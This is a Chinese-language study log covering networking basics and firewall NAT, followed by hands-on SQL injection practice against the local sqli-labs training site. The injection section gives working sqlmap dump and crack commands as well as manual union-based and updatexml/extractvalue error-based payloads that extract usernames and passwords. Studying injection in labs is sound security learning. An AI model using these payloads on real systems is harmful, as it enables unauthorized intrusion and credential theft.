第一周学习总结
PPPoE拨号上网 PPP 点对点协议(广域网) ICmp(ping)IGMP(因特网组协议)FTP 文本传输 TFTP 快捷文本传输 SNMP 简单网络管理 SMTP简单邮件传输协议HTTP 超文本传输协议 提供浏览网页服务Telnet 远程登陆协议FTP主要是多通道协议,C/S架构,连接分为主动模式和被动模式。明文传输,使用wireshark抓包可以看见用户名密码httpDNS 域名解析协议O
hcia学习
1.网络基础知识
OSI参考模型
应用层 为应用程序提供接口。
表示层 进行数据格式的转换,以确保一个系统生成的应用程序能够通过另一个系统的应用程序识别和理解。
会话层 在通信双方之间建立、管理和传递信息。
传输层 建立、维护和识别一次数据的原始数据处理过程,控制传输节点的长度、调整数据的排序等。 在wireshark上看到端口
网络层 定义逻辑地址,实现数据从源到目的的传输。 在wireshark上看到upd还是tcp
数据链路层 将分组数据连接成帧,在数据链路上实现数据的点到点,或点到多点方式的直接编码以及差错检测。 在wireshark上看到下一层是 ipv4还是ipv6
物理层 在媒介上传输比特流,提供相应的用户访问信息。
常见协议简介

PPPoE拨号上网 PPP 点对点协议(广域网) ICmp(ping) IGMP(因特网组协议)
FTP 文本传输 TFTP 快捷文本传输 SNMP 简单网络管理 SMTP简单邮件传输协议
HTTP 超文本传输协议 提供浏览网页服务 Telnet 远程登陆协议

FTP主要是多通道协议,C/S架构,连接分为主动模式和被动模式。明文传输,使用wireshark抓包可以看见用户名密码

http

DNS 域名解析协议

OSPF(开放最短路径优先协议)简单了解,后面有需求再补充学习

防火墙没有明确允许的流量都会被禁止,所以为了两台终端通信防火墙acl一般配置两条,控制接口的接口访问控制(service-manage)优于安全策略
安全域间的数据流动具有方向性,包括outbound(高优先级到低优先级)和inbound

ASPF
用来针对多通道应用层协议


网络地址转换(NAT)
技术背景
随着互联网的发展和网络应用的增多,有限的IPv4公有地址已成为制约网络发展的瓶颈。尽管IPv6可以从根本上解决IPv4地址空间不足的问题,但目前大多数网络设备和网络应用仍基于IPv4地址。
因此在IPv6广泛应用之前,NAT(网络地址转换)技术应运而生。NAT作为减缓IPv4地址枯竭的一种过渡方案,通过地址复用的方法来满足IP地址的需求,能在一定程度上缓解IPv4地址空间枯竭的压力。
防火墙NAT的实现 - NAT策略
防火墙的NAT功能可以通过配置NAT策略实现。NAT策略由三个核心部分组成:转换后的地址(地址池地址或者出口地址)、匹配条件和动作。
NAT策略的组成要素
1. 转换后的地址
-
地址池类型包括:
-
源地址池:用于源地址转换
-
目的地址池:用于目的地址转换
-
-
根据NAT转换方式的不同,可以选择不同类型的地址池或者出口方式。
2. 匹配条件
匹配条件用于确定哪些流量需要进行NAT转换,包括:
-
源/目的地址
-
源/目的安全区域
-
出接口
-
服务类型
-
时间段
-
根据不同的需求配置不同的匹配条件,对匹配上条件的流量进行NAT转换。
3. 动作
-
源地址转换:对数据包的源地址进行转换
-
目的地址转换:对数据包的目的地址进行转换
-
无论源地址转换还是目的地址转换,都可以对匹配上条件的流量进行两种处理方式:
-
执行NAT转换
-
不进行NAT转换
-
通过这三个部分的灵活配置,防火墙可以根据网络需求实现精细化的地址转换控制。

多个用户共享少量公网地址访问Internet,使用源NAT技术实现地址复用
源NAT技术
只对报文的源地址进行转换
源NAT技术分类:
-
NAT No-PAT 只转换地址,不转换端口
-
NAPT(Network Address Port Translation) 同时转换地址和端口
-
Easy IP 同时转换地址和端口,但没有地址池的概念,使用出接口的公网地址
-
三元组NAT 同时转换地址和端口,会生成service-map表(双向),允许Internet上的用户能访问私网用户
napt是有时间的,为避免路由环路,一般设置黑洞路由
目的NAT概述
目的NAT是指对报文中的目的地址和端口进行转换。通过目的NAT技术将公网IP地址转换成私网IP地址,使公网用户可以利用公网地址访问内部服务器。
防火墙处理流程
当外网用户访问内部服务器时,防火墙的处理过程如下:
-
请求报文处理:当外网用户访问内网服务器的报文到达防火墙时,防火墙将报文的目的IP地址由公网地址转换为私网地址。
-
回程报文处理:当回程报文返回至防火墙时,防火墙再将报文的源地址由私网地址转换为公网地址。
目的NAT
根据转换后的目的地址是否固定,目的NAT分为:
-
静态目的NAT:转换后的地址是固定的
-
动态目的NAT:转换后的地址是动态分配的

根据表的执行顺序,为避免路由环路,一般都配上黑洞路由

做动态目的net的时候,公网地址不能和出接口是同网段,1.1.1.2在向1.1.1.10发送arp请求时,因为没有映射,不会响应请求或发送arp
Nat Server
也称静态映射,实现外部网络用户通过公网地址访问私网内部服务器的需求,在Nat Server下,要实现访问外网,需要配置安全策略

通过设置区域来让私网访问外网转换成不同的公网地址
双向NAT
双向NAT是指在转换过程中同时转换报文的源IP地址和目的IP地址。
核心特点:
-
双向NAT不是一个单独的功能,而是源NAT和目的NAT的组合
-
双向NAT是针对同一条数据流,在其经过防火墙时同时转换报文的源地址和目的地址
一般将源地址和目的地址转换为同一网段,从而省略网关的配置

为保证10.1.1.3访问服务器的所有流量都经过防火墙,需要进行双向NAT
但是如果被信息收集,发现pc和服务器在同一网段,这种情况还是不安全,所以在交换机g1/0/1接口设置策略只允许源ip172.16.1.100等几个地址的数据通过,再设置任意来源禁止。
NAT ALG
在防火墙技术中,ASPF(Application Specific Packet Filter)可匹配多通道应用协议的数据,并根据应用层信息中的IP地址和端口创建Server-map表。
NAT ALG(应用级网关)是特定应用协议的转换代理,能够完成应用层数据中携带的IP地址及端口号的转换。
两者区别
-
ASPF功能的主要目的:通过对应用层协议的报文分析,为其开放相应的包过滤规则。
-
NAT ALG的主要目的:为应用层协议开放相应的NAT规则,实现应用层数据内嵌地址与端口的转换。
-
使用关系:由于ASPF与NAT ALG通常结合使用,可通过同一条配置命令将两者同时开启。

NAT ALG中包括DNS ALG
sql注入
sqlmap的使用
sqlmap -u 测试网站

测试数据库的名字
sqlmap -u 测试网站 –dbs

查看库里的表
sqlmap -u 测试网站 –D 数据库名 –tables

sqlmap -u 目标 -D company_website -T users --dump
如果密码是哈希,尝试破解
sqlmap -u 目标 -D company_website -T users --dump --crack

补充:选择目标表,列出所有列
sqlmap -u "测试网站" -D 数据库 -T 表 --column
提取特定列的数据
sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C username,password --dump
sql注入的一般顺序
1.查找注入点
2.判断注入类型
利用逻辑判断正误:and 1=1和and1=2
(都能正常显示界面,为字符型注入)(数字型注入只有1=1时正常显示)数字注入没有闭合方式在sql注入时无需注释符号
3.如果字符型,找到他的闭合方式 ' " ') ")
闭合的作用:手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句。
4.判断查询列数,group by或order by
5.查询回显位
6.爆库名
7.爆表名
8.爆列名(字段名)
9.爆字段内容
函数group_concat(xxx):将分组中括号里对应的字符串进行连接,每个字符串之间以特定符号分隔开。
id=-1' union select 1,2,3--+为什么用-1
页面只会读取第一行,所以让第一行不存在就会回显下一行(也可用0,负数),由此找到回显位
sqli-labs练习
联合注入
less-1
手注法
输入?id=1,发现注入点(输入?id=2时页面不同)
?id=1 and 1=2正确,回显正常,判断为字符型注入
判断为单引号 ' 闭合(手工闭合后使用--+注释)
判断列数,确定是3列(order by 3正常)
?id=1' order by 4--+
查询回显位,发现回显位在2,3
?id=-1' union select 1,2,3--+
爆当前数据库及版本号
?id=-1' union select 1,version(),database()--+

爆数据表名
information_schema.tables表示该数据库下的tables表,点表示下一级。
where后面是条件,group_concat()是将查询到结果连接起来
?id=0' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='security'--+
#查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

爆user表中的所有数据列名
?id=-1' union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema='security' and table_name='users'--+
#查询information_schema数据库下的columns表里面且table_schema字段内容是security且table_name为users的所有column_name的内容

一起爆user表中的username~password的值(使用~分隔)
?id=-1' union select 1,2,group_concat(username,'~',password) from security.users--+

使用sqlmap
查看所有数据库
查看(-D)指定数据库security的所有表

查看(-T)指定表users的所有列
sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users --columns

查看(-C)指定列下的数据username、password
sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D security -T users -C username,password --dump

做了五关感觉sqlmap都一样,后面就不记录了
less-2
第二关判断为数字型注入,在注入过程中没有闭合无需--+注释,其他和第一个都一样

less-3
闭合方式为'),其他和第一个都一样

less-4
闭合方式为"),其他和第一个都一样,到这一关换php study做了

报错注入
报错注入原理
以下转载https://blog.csdn.net/2401_82985722/article/details/140464780
由于后台没有对数据库的信息做过滤,会输出到前台显示,那么可以通过制造报错函数,将查询语句带入到数据库中,以报错信息显示出来。(页面上没有回显)
extractvalue() 、updatexml()函数
substring() 函数、limit
extractvalue() --查询节点内容
updatexml() --修改查询到的内容
注意:
(1)它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
插入'~'和'^'等特殊字符是非法的,就会产生报错。(2)extractvalue() 能查询字符串的最大长度为 32,如果结果超过 32位,就要用 substring() 函数截取或 limit 分页,一次最多查看32 位。
limit 0,1:表示从第0行开始,显示1行,从0开始计数 substr((xxx),1,1):表示从第1个字母开始,显示1个字母,从1开始计数
(3)使用 concat 时,必须要把 database() 等注入语句写到不符合 xpath 的后面(例如 0x7e),因为报错时,从不符合的位置开始输出
注入过程
1、尝试用单引号报错
2、爆数据库名
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+3.爆表名
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+4.爆列名
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+5.获取列中的所有username、password字段内容
' and extractvalue(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e))--+ ' and updatexml(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e),1)--+
less-5
根据页面提示,尝试输入?id=1,发现注入点

判断发现是字符型注入,闭合为单引号

判断列数同样是3列,没有回显位,使用报错注入

爆库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e),1)--+

提示子查询返回超过1行,利用limit 0,1逐行显示,发现第四行是users
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

爆user表中的列名,发现username和password
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+

爆username和password内容
' and updatexml(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e),1)--+

更多推荐
所有评论(0)